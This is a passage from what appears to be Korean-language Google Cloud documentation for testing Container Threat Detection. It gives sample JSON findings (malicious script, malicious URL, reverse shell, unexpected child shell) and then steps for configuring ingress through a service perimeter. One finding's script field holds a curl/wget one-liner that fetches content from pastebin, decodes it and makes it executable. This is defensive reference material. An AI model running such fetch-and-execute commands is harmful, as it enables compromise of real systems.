"detectionCategory": {
"ruleName": "modified_malicious_library_loaded"
},
"detectionPriority": "CRITICAL",
"affectedResources": [
{
"gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"
}
],
"evidence": [
{
"sourceLogId": {
"projectId": "PROJECT_ID",
"resourceContainer": "projects/PROJECT_NUMBER",
"timestamp": {
"seconds": "1699911519",
"nanos": 124151422
}
}
}
],
"properties": {},
"findingId": "FINDING_ID",
"contextUris": {
"mitreUri": {
"displayName": "MITRE Link",
"url": "https://attack.mitre.org/techniques/T1105/"
},
"virustotalIndicatorQueryUri": [
{
"displayName": "VirusTotal IP Link",
"url": "https://www.virustotal.com/gui/file/275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f/detection"
}
],
"cloudLoggingQueryUri": [
{
"displayName": "Cloud Logging Query Link",
"url": "https://console.cloud.google.com/logs/query;query=timestamp%3D%222023-11-13T21:38:39.124151422Z%22%0AinsertId%3D%22%22?project=PROJECT_NUMBER"
}
],
"relatedFindingUri": {}
}
}
}
악성 스크립트가 실행됨
{
"finding": {
"name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
"parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID",
"resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
"state": "ACTIVE",
"category": "Malicious Script Executed",
"sourceProperties": {
"VM_Instance_Name": "INSTANCE_ID",
"Script_Filename": "FILENAME",
"Script_SHA256": "SHA_256",
"Container_Image_Id": "CONTAINER_IMAGE_ID",
"Container_Name": "CONTAINER_NAME",
"Parent_Pid": 1.0,
"Container_Image_Uri": "CONTAINER_IMAGE_URI",
"Process_Creation_Timestamp": {
"seconds": 1.617989997E9,
"nanos": 1.17396995E8
},
"Pid": 53.0,
"Pod_Namespace": "default",
"Process_Binary_Fullpath": "INTERPRETER",
"Process_Arguments": ["INTERPRETER", "FILENAME"],
"Pod_Name": "POD_NAME",
"description": "A machine learning model using Natural Language Processing (NLP) techniques identified an executed bash script as malicious.",
"Script_Content": "(curl -fsSL https://pastebin.com||wget -q -O - https://pastebin.com)| tac | base64 -di | exit 0 | > x ; chmod 777 x ;",
"Environment_Variables": ["KUBERNETES_PORT\u003dtcp://IP_ADDRESS:PORT",
"KUBERNETES_SERVICE_PORT\u003d443", "HOSTNAME\u003dreconnect-
test-4af235e12be6f9d9", "HOME\u003d/root",
"KUBERNETES_PORT_443_TCP_ADDR\u003dIP_ADDRESS",
"PATH\u003d/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"KUBERNETES_PORT_443_TCP_PORT\u003d443",
"KUBERNETES_PORT_443_TCP_PROTO\u003dtcp",
"DEBIAN_FRONTEND\u003dnoninteractive",
"KUBERNETES_PORT_443_TCP\u003dtcp://IP_ADDRESS:PORT",
"KUBERNETES_SERVICE_PORT_HTTPS\u003d443",
"KUBERNETES_SERVICE_HOST\u003dIP_ADDRESS", "PWD\u003d/"],
"Container_Creation_Timestamp": {
"seconds": 1.617989918E9,
"nanos": 0.0
}
},
"securityMarks": {
"name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID/securityMarks"
},
"eventTime": "2021-04-09T17:39:57.527Z",
"createTime": "2021-04-09T17:39:57.625Z",
"propertyDataTypes": {
"Container_Image_Id": {
"primitiveDataType": "STRING"
},
"Pod_Namespace": {
"primitiveDataType": "STRING"
},
"Container_Creation_Timestamp": {
"dataType": "TIMESTAMP",
"structValue": {
"fields": {
"seconds": {
"primitiveDataType": "NUMBER"
},
"nanos": {
"primitiveDataType": "NUMBER"
}
}
}
},
"Environment_Variables": {
"listValues": {
"propertyDataTypes": [{
"primitiveDataType": "STRING"
}]
}
},
"description": {
"primitiveDataType": "STRING"
},
"Pid": {
"primitiveDataType": "NUMBER"
},
"Process_Arguments": {
"listValues": {
"propertyDataTypes": [{
"primitiveDataType": "STRING"
}]
}
},
"Container_Image_Uri": {
"primitiveDataType": "STRING"
},
"Pod_Name": {
"primitiveDataType": "STRING"
},
"Process_Creation_Timestamp": {
"dataType": "TIMESTAMP",
"structValue": {
"fields": {
"seconds": {
"primitiveDataType": "NUMBER"
},
"nanos": {
"primitiveDataType": "NUMBER"
}
}
}
},
"Parent_Pid": {
"primitiveDataType": "NUMBER"
},
"VM_Instance_Name": {
"primitiveDataType": "STRING"
},
"Script_Content": {
"primitiveDataType": "STRING"
},
"Script_Filename": {
"primitiveDataType": "STRING"
},
"Container_Name": {
"primitiveDataType": "STRING"
},
"Script_SHA256": {
"primitiveDataType": "STRING"
},
"Process_Binary_Fullpath": {
"primitiveDataType": "STRING"
}
},
"severity": "CRITICAL",
"workflowState": "NEW",
"canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID"
},
"resource": {
"name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
"projectName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
"projectDisplayName": "PROJECT_ID",
"parentName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
"parentDisplayName": "PROJECT_ID",
"type": "google.container.Cluster"
}
}
악성 URL 관찰
{
"findings": {
"access": {},
"canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",
"category": "Malicious URL Observed",
"containers": [
{
"name": "CONTAINER_NAME",
"uri": "CONTAINER_URI",
"imageId": "CONTAINER_IMAGE_ID"
}
],
"createTime": "2022-09-14T21:35:46.209Z",
"database": {},
"description": "A malicious URL is observed in the container workload.",
"eventTime": "2022-09-14T21:35:45.992Z",
"exfiltration": {},
"findingClass": "THREAT",
"findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
"indicator": {
"uris": [
"testsafebrowsing.appspot.com/s/malware.html"
]
},
"kubernetes": {
"pods": [
{
"ns": "default",
"name": "CONTAINER_NAME",
"containers": [
{
"name": "CONTAINER_NAME",
"uri": "CONTAINER_URI",
"imageId": CONTAINER_IMAGE_ID"
}
]
}
]
},
"mitreAttack": {
"primaryTactic": "COMMAND_AND_CONTROL",
"primaryTechniques": [
"INGRESS_TOOL_TRANSFER"
]
},
"mute": "UNDEFINED",
"name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
"parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID",
"parentDisplayName": "Container Threat Detection",
"processes": [
{
"binary": {
"path": "\"/bin/echo\""
},
"script": {},
"args": [
"\"/bin/echo\"",
"\"https://testsafebrowsing.appspot.com/s/malware.html\""
],
"envVariables": [
{
"name": "\"PATH\"",
"val": "\"/opt/python3.7/bin:/opt/python3.6/bin:/opt/python3.5/bin:/opt/python3.4/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""
},
{
"name": "\"HOSTNAME\"",
"val": "\"CONTAINER_NAME\""
},
{
"name": "\"DEBIAN_FRONTEND\"",
"val": "\"noninteractive\""
},
{
"name": "\"LANG\"",
"val": "\"C.UTF-8\""
},
{
"name": "\"PYTHONUNBUFFERED\"",
"val": "\"1\""
},
{
"name": "\"PORT\"",
"val": "\"8080\""
},
{
"name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",
"val": "\"IP_ADDRESS\""
},
{
"name": "\"KUBERNETES_SERVICE_HOST\"",
"val": "\"IP_ADDRESS\""
},
{
"name": "\"KUBERNETES_SERVICE_PORT\"",
"val": "\"443\""
},
{
"name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",
"val": "\"443\""
},
{
"name": "\"KUBERNETES_PORT\"",
"val": "\"tcp://IP_ADDRESS:443\""
},
{
"name": "\"KUBERNETES_PORT_443_TCP\"",
"val": "\"tcp://IP_ADDRESS:443\""
},
{
"name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",
"val": "\"tcp\""
},
{
"name": "\"KUBERNETES_PORT_443_TCP_PORT\"",
"val": "\"443\""
},
{
"name": "\"HOME\"",
"val": "\"/root\""
}
],
"pid": "1"
}
],
"resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/CLUSTER_ZONE/clusters/CLUSTER_ID",
"severity": "MEDIUM",
"sourceDisplayName": "Container Threat Detection",
"state": "ACTIVE",
"vulnerability": {},
"workflowState": "NEW"
},
"resource": {
"name": "//container.googleapis.com/projects/PROJECT_ID/zones/CLUSTER_ZONE/clusters/CLUSTER_ID",
"display_name": "CLUSTER_ID",
"project_name": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
"project_display_name": "PROJECT_ID",
"parent_name": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
"parent_display_name": "PROJECT_ID",
"type": "google.container.Cluster",
"folders": []
},
"sourceProperties": {
"Container_Image_Id": "CONTAINER_IMAGE_ID",
"Pod_Namespace": "default",
"Container_Name": "CONTAINER_NAME",
"Process_Binary_Fullpath": "/bin/echo",
"description": "A malicious URL is observed in the container workload.",
"VM_Instance_Name": "VM_INSTANCE_NAME",
"Pid": 1,
"Process_Arguments": [
"/bin/echo",
"https://testsafebrowsing.appspot.com/s/malware.html"
],
"Container_Image_Uri": "CONTAINER_IMAGE_URI",
"Parent_Pid": 0,
"Process_Creation_Timestamp": {
"seconds": 1663191345,
"nanos": 7717272
},
"Environment_Variables": [
"PATH=/opt/python3.7/bin:/opt/python3.6/bin:/opt/python3.5/bin:/opt/python3.4/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"HOSTNAME=CONTAINER_NAME",
"DEBIAN_FRONTEND=noninteractive",
"LANG=C.UTF-8",
"PYTHONUNBUFFERED=1",
"PORT=8080",
"KUBERNETES_PORT_443_TCP_ADDR=IP_ADDRESS",
"KUBERNETES_SERVICE_HOST=IP_ADDRESS",
"KUBERNETES_SERVICE_PORT=443",
"KUBERNETES_SERVICE_PORT_HTTPS=443",
"KUBERNETES_PORT=tcp://IP_ADDRESS:443",
"KUBERNETES_PORT_443_TCP=tcp://IP_ADDRESS:443",
"KUBERNETES_PORT_443_TCP_PROTO=tcp",
"KUBERNETES_PORT_443_TCP_PORT=443",
"HOME=/root"
],
"Container_Creation_Timestamp": {
"seconds": 1663191345,
"nanos": 0
},
"Pod_Name": "CONTAINER_NAME"
}
}
역방향 셸
{
"finding": {
"name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
"parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID",
"resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
"state": "ACTIVE",
"category": "Reverse Shell",
"sourceProperties": {
"Reverse_Shell_Stdin_Redirection_Src_Ip": "SOURCE_IP_ADDRESS",
"Environment_Variables": ["HOSTNAME\u003dreverse-shell",
"KUBERNETES_PORT\u003dtcp://IP_ADDRESS:PORT",
"KUBERNETES_PORT_443_TCP_PORT\u003d443", "PYTHONUNBUFFERED\u003d1",
"KUBERNETES_SERVICE_PORT\u003d443",
"KUBERNETES_SERVICE_HOST\u003dIP_ADDRESS",
"PATH\u003d/opt/python3.7/bin:/opt/python3.6/bin:/opt/python3.5/bin:/opt/p
ython3.4/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
, "PWD\u003d/home/vmagent/app", "LANG\u003dC.UTF-8", "SHLVL\u003d1",
"HOME\u003d/root", "KUBERNETES_PORT_443_TCP_PROTO\u003dtcp",
"KUBERNETES_SERVICE_PORT_HTTPS\u003d443",
"DEBIAN_FRONTEND\u003dnoninteractive", "PORT\u003d8080",
"KUBERNETES_PORT_443_TCP_ADDR\u003dIP_ADDRESS",
"KUBERNETES_PORT_443_TCP\u003dtcp://IP_ADDRESS:PORT", "_\u003d/bin/echo"],
"Container_Image_Uri": "CONTAINER_IMAGE_URI",
"Process_Binary_Fullpath": "BINARY_PATH",
"Container_Creation_Timestamp": {
"seconds": 1.617989861E9,
"nanos": 0.0
},
"Pod_Name": "POD_NAME",
"Container_Name": "CONTAINER_NAME",
"Process_Arguments": ["BINARY_PATH", "BINARY_NAME"],
"Pid": 15.0,
"Reverse_Shell_Stdin_Redirection_Dst_Port": DESTINATION_PORT,
"Container_Image_Id": "CONTAINER_IMAGE_ID",
"Reverse_Shell_Stdin_Redirection_Dst_Ip": "DESTINATION_IP_ADDRESS",
"Pod_Namespace": "default",
"VM_Instance_Name": "INSTANCE_ID",
"Reverse_Shell_Stdin_Redirection_Src_Port": SOURCE_PORT,
"description": "A process started with stream redirection to a remote
connected socket. With a reverse shell, an attacker can communicate from a
compromised workload to an attacker-controlled machine. The attacker can
then command and control the workload to perform desired actions, for
example as part of a botnet.",
"Parent_Pid": 1.0,
"Process_Creation_Timestamp": {
"seconds": 1.61798989E9,
"nanos": 6.16573691E8
}
},
"securityMarks": {
"name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID/securityMarks"
},
"eventTime": "2021-04-09T17:38:10.904Z",
"createTime": "2021-04-09T17:38:15.486Z",
"propertyDataTypes": {
"Container_Image_Id": {
"primitiveDataType": "STRING"
},
"Container_Creation_Timestamp": {
"dataType": "TIMESTAMP",
"structValue": {
"fields": {
"seconds": {
"primitiveDataType": "NUMBER"
},
"nanos": {
"primitiveDataType": "NUMBER"
}
}
}
},
"Pod_Namespace": {
"primitiveDataType": "STRING"
},
"Environment_Variables": {
"listValues": {
"propertyDataTypes": [{
"primitiveDataType": "STRING"
}]
}
},
"Reverse_Shell_Stdin_Redirection_Dst_Ip": {
"primitiveDataType": "STRING"
},
"description": {
"primitiveDataType": "STRING"
},
"Process_Arguments": {
"listValues": {
"propertyDataTypes": [{
"primitiveDataType": "STRING"
}]
}
},
"Pid": {
"primitiveDataType": "NUMBER"
},
"Reverse_Shell_Stdin_Redirection_Src_Ip": {
"primitiveDataType": "STRING"
},
"Container_Image_Uri": {
"primitiveDataType": "STRING"
},
"Reverse_Shell_Stdin_Redirection_Dst_Port": {
"primitiveDataType": "NUMBER"
},
"Pod_Name": {
"primitiveDataType": "STRING"
},
"Process_Creation_Timestamp": {
"dataType": "TIMESTAMP",
"structValue": {
"fields": {
"seconds": {
"primitiveDataType": "NUMBER"
},
"nanos": {
"primitiveDataType": "NUMBER"
}
}
}
},
"Reverse_Shell_Stdin_Redirection_Src_Port": {
"primitiveDataType": "NUMBER"
},
"Parent_Pid": {
"primitiveDataType": "NUMBER"
},
"VM_Instance_Name": {
"primitiveDataType": "STRING"
},
"Container_Name": {
"primitiveDataType": "STRING"
},
"Process_Binary_Fullpath": {
"primitiveDataType": "STRING"
}
},
"severity": "CRITICAL",
"workflowState": "NEW",
"canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID"
},
"resource": {
"name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
"projectName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
"projectDisplayName": "PROJECT_ID",
"parentName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
"parentDisplayName": "PROJECT_ID",
"type": "google.container.Cluster"
}
}
예기치 않은 하위 셸
{
"finding": {
"access": {},
"canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",
"category": "Unexpected Child Shell",
"cloudDlpDataProfile": {},
"cloudDlpInspection": {},
"containers": [
{
"name": "CONTAINER_NAME",
"uri": "CONTAINER_URI",
"imageId": "CONTAINER_IMAGE_ID"
}
],
"createTime": "2023-06-29T17:34:13.765Z",
"database": {},
"description": "A process should not normally create child shell processes, spawn a child shell process.",
"eventTime": "2023-06-29T17:34:13.492Z",
"exfiltration": {},
"findingClass": "THREAT",
"findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
"indicator": {},
"kernelRootkit": {},
"kubernetes": {
"pods": [
{
"ns": "default",
"name": "CONTAINER_NAME",
"containers": [
{
"name": "CONTAINER_NAME",
"uri": "CONTAINER_URI",
"imageId": CONTAINER_IMAGE_ID"
}
]
}
]
},
"mitreAttack": {
"primaryTactic": "EXECUTION",
"primaryTechniques": [
"COMMAND_AND_SCRIPTING_INTERPRETER"
]
},
"name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
"parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID",
"parentDisplayName": "Container Threat Detection",
"processes": [
{
"binary": {
"path": "\"/home/vmagent/app/temp/dash\"",
"size": "31376",
"sha256": "31351885b07570f450f57bd19cf28ff4310b8774a1c2580c3c7c9e7336c8467e",
"hashedSize": "31376",
"partiallyHashed": false
},
"script": {
"size": "0",
"hashedSize": "0",
"partiallyHashed": false
},
"args": [
"\"./temp/dash\""
],
"argumentsTruncated": false,
"envVariables": [
{
"name": "\"HOSTNAME\"",
"val": "\"ktd-test-unexpected-child-shell-3f50de2ab54bac1b\""
},
{
"name": "\"KUBERNETES_PORT_443_TCP_PORT\"",
"val": "\"443\""
},
{
"name": "\"KUBERNETES_PORT\"",
"val": "\"tcp://10.52.113.1:443\""
},
{
"name": "\"PYTHONUNBUFFERED\"",
"val": "\"1\""
},
{
"name": "\"KUBERNETES_SERVICE_PORT\"",
"val": "\"443\""
},
{
"name": "\"KUBERNETES_SERVICE_HOST\"",
"val": "\"10.52.113.1\""
},
{
"name": "\"PATH\"",
"val": "\"/opt/python3.7/bin:/opt/python3.6/bin:/opt/python3.5/bin:/opt/python3.4/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""
},
{
"name": "\"PWD\"",
"val": "\"/home/vmagent/app\""
},
{
"name": "\"LANG\"",
"val": "\"C.UTF-8\""
},
{
"name": "\"SHLVL\"",
"val": "\"1\""
},
{
"name": "\"HOME\"",
"val": "\"/root\""
},
{
"name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",
"val": "\"tcp\""
},
{
"name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",
"val": "\"443\""
},
{
"name": "\"DEBIAN_FRONTEND\"",
"val": "\"noninteractive\""
},
{
"name": "\"PORT\"",
"val": "\"8080\""
},
{
"name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",
"val": "\"10.52.113.1\""
},
{
"name": "\"KUBERNETES_PORT_443_TCP\"",
"val": "\"tcp://10.52.113.1:443\""
},
{
"name": "\"_\"",
"val": "\"./temp/dash\""
}
],
"pid": "15",
"parentPid": "14"
},
{
"binary": {
"path": "\"/home/vmagent/app/temp/httpd\"",
"size": "0",
"hashedSize": "0",
"partiallyHashed": false
},
"script": {
"size": "0",
"hashedSize": "0",
"partiallyHashed": false
},
"args": [
"\"./temp/httpd\""
],
"argumentsTruncated": false,
"pid": "14",
"parentPid": "13"
}
],
"resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/CLUSTER_ZONE/clusters/CLUSTER_ID",
"severity": "CRITICAL",
"state": "ACTIVE",
"vulnerability": {}
},
"resource": {
"name": "//container.googleapis.com/projects/PROJECT_ID/zones/CLUSTER_ZONE/clusters/CLUSTER_ID",
"display_name": "CLUSTER_ID",
"project_name": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
"project_display_name": "PROJECT_ID",
"parent_name": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
"parent_display_name": "PROJECT_ID",
"type": "google.container.Cluster",
"folders": []
},
"sourceProperties": {
"Process_Arguments": [
"./temp/dash"
],
"Pid": 15,
"Process_Creation_Timestamp": {
"seconds": 1688060050,
"nanos": 207040864
},
"Container_Image_Uri": "CONTAINER_IMAGE_URI",
"Process_Binary_Fullpath": "/home/vmagent/app/temp/dash",
"VM_Instance_Name": "INSTANCE_ID",
"Pod_Name": "POD_NAME",
"Pod_Namespace": "default",
"Container_Name": "CONTAINER_NAME",
"Container_Image_Id": "CONTAINER_IMAGE_ID",
"Container_Creation_Timestamp": {
"seconds": 1688060050,
"nanos": 0
},
"Parent_Pid": 14,
"Environment_Variables": [
"HOSTNAME=ktd-test-unexpected-child-shell-3f50de2ab54bac1b",
"KUBERNETES_PORT_443_TCP_PORT=443",
"KUBERNETES_PORT=tcp://10.52.113.1:443",
"PYTHONUNBUFFERED=1",
"KUBERNETES_SERVICE_PORT=443",
"KUBERNETES_SERVICE_HOST=10.52.113.1",
"PATH=/opt/python3.7/bin:/opt/python3.6/bin:/opt/python3.5/bin:/opt/python3.4/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"PWD=/home/vmagent/app",
"LANG=C.UTF-8",
"SHLVL=1",
"HOME=/root",
"KUBERNETES_PORT_443_TCP_PROTO=tcp",
"KUBERNETES_SERVICE_PORT_HTTPS=443",
"DEBIAN_FRONTEND=noninteractive",
"PORT=8080",
"KUBERNETES_PORT_443_TCP_ADDR=10.52.113.1",
"KUBERNETES_PORT_443_TCP=tcp://10.52.113.1:443",
"_=./temp/dash"
]
}
}
서비스 경계로 보호되는 프로젝트 스캔
2023년 12월 7일 이후 조직 수준에서 Security Command Center를 활성화했으며 특정 프로젝트와 서비스에 대한 액세스를 차단하는 서비스 경계가 있는 경우 해당 서비스 경계에 대한 Container Threat Detection 인바운드 액세스 권한을 서비스 계정에 부여해야 합니다. 그렇지 않으면 Container Threat Detection에서 보호된 프로젝트 및 서비스와 관련된 발견 항목을 생성할 수 없습니다.
조직 수준 활성화의 경우 서비스 계정 식별자는 다음 형식의 이메일 주소입니다.
service-org-ORGANIZATION_ID@gcp-sa-ktd-hpsa.iam.gserviceaccount.com
앞의 예시에서 ORGANIZATION_ID를 조직의 숫자 식별자로 바꿉니다.
서비스 계정에 서비스 경계에 대한 인바운드 액세스 권한을 부여하려면 다음 단계를 수행합니다.
VPC 서비스 제어로 이동합니다.
툴바에서 Google Cloud 조직을 선택합니다.
드롭다운 목록에서 액세스 권한을 부여할 서비스 경계가 포함된 액세스 정책을 선택합니다.
액세스 정책과 연결된 서비스 경계가 목록에 표시됩니다.
서비스 경계 이름을 클릭합니다.
경계 수정을 클릭합니다.
탐색 메뉴에서 인그레스 정책을 클릭합니다.
규칙 추가를 클릭합니다.
다음과 같이 규칙을 구성합니다.
API 클라이언트의 FROM 속성
- 소스에 모든 소스를 선택합니다.
- ID에서 선택한 ID를 선택합니다.
- 사용자/서비스 계정 추가 필드에서 선택을 클릭합니다.
- 서비스 계정 이메일 주소를 입력합니다. 조직 수준 및 프로젝트 수준 서비스 계정이 모두 있는 경우 둘 다 추가합니다.
- 저장을 클릭합니다.
GCP 서비스/리소스의 TO 속성
-
프로젝트에 모든 프로젝트를 선택합니다.
서비스에서 모든 서비스를 선택하거나 Container Threat Detection에 필요한 다음 개별 서비스를 각각 선택합니다.
- Container Threat Detection API
서비스 경계에서 필수 서비스에 대한 액세스를 제한하면 Container Threat Detection에서 해당 서비스에 대한 발견 항목을 생성할 수 없습니다.
탐색 메뉴에서 저장을 클릭합니다.
자세한 내용은 인그레스 및 이그레스 정책 구성을 참조하세요.
다음 단계
Container Threat Detection 작동 방식 자세히 알아보기
위협에 대한 대응 계획을 조사하고 개발하는 방법 알아보기